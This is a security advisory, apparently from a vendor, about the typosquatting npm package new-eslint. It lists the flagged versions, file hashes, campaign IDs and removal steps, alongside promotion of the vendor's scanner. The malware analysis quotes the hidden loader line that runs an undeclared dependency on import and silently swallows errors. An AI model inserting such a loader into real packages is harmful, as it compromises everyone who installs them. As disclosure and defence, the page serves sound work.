Which versions of new-eslint are malicious?

The following npm versions of new-eslint are flagged malicious: 7.0.5, 7.0.6. Treat any of these as compromised.

How do I remediate new-eslint if I installed it?

new-eslint is a typosquat — you almost certainly intended a legitimately-named package. Remove new-eslint, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed new-eslint — how do I know if it already compromised me?

If new-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is new-eslint part of a known attack campaign?

Yes — new-eslint is associated with the IN-MAL-2026-007067, GHSA-8h72-5mvw-5f6r, IN-MAL-2026-019249 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find new-eslint across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint across your stack and pipelines.

Malicious package

new-eslintnpm

new-eslint is a confirmed malicious npm package (MAL-2026-6224) that typosquats a legitimate package to trick installs (malicious versions 7.0.5, 7.0.6). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in new-eslint (npm)

MAL-2026-6224

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall new-eslint

What this malware does

Package is published as 'new-eslint' but ships a verbatim copy of MikeMcl/big.js, with a hidden loader injected mid-file between P.minus and P.mod in both big.js:605 and big.mjs:605: const helper = require("ts-eslint-helper"); helper.from_str().then(e => e).catch(e => { });. This require fires whenever a consumer imports or requires the package and silently swallows all errors. The required package ts-eslint-helper is not declared in package.json — the manifest lists a different package, [email protected] — so the loaded code is undeclared and attacker-mutable. The README claims 'no dependencies' and describes big.js, while the package name impersonates eslint tooling: classic typosquat lure plus hidden remote-controlled loader. Whatever ts-eslint-helper.from_str() does runs in the installer's process on import with no advertised functionality justifying it.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

2 flagged

7.0.57.0.6

Indicators of compromise (SHA-256)

6f068a5c7ad1a53c60d794a3b4585418956c176c42b8d5d90855e2ac60962b25

5301d966541d30ed2b6a97b64c70609897b2c685bf0bb2e8eec33605225d4529

ef66e5403a84eebac1e86259a0b70b45fc82be0674f565be6b2185c943d2e146

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for new-eslint (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging new-eslint across your stack and pipelines.
If you installed it — respond
new-eslint is a typosquat — you almost certainly intended a legitimately-named package. Remove new-eslint, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If new-eslint was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks new-eslint before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. new-eslint on npm has been identified as a malicious package (versions 7.0.5, 7.0.6 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007067GHSA-8h72-5mvw-5f6rIN-MAL-2026-019249

References

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks new-eslint-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database